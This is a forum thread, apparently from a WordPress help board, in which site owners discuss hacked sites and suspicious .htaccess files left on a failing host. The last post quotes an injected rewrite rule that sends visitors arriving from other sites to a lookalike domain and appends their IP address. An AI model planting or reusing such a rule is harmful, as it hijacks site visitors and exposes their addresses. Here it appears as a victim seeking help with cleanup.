My host effectively went bust but left all the sites up, not maintaining proper security or answering tech support inquiries. The new one is much better.
Yes larssonk22, you should really start a new topic, but just to conclude my saga: I backed up my entire installation, removed all the .htaccess files by hand, then uploaded the lot to a new and more professional hosting company. It worked for me.
There are similarly dodgy .htaccess files in uploads and image folders. But when I try to delete them I get a message saying “server file error; operation not permitted”. How do I get round that?
I’ve had a look at it but I can’t see that redirect in the stylesheet. What should I be looking for? The .htaccess file at the top of wp-content says this:
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^https://
RewriteCond %{HTTP_REFERER} !%{HTTP_HOST}
RewriteRule . https://g-oogl-e.com/%{REMOTE_ADDR}
That doesn’t look right to me. Do I even need a .htaccess file?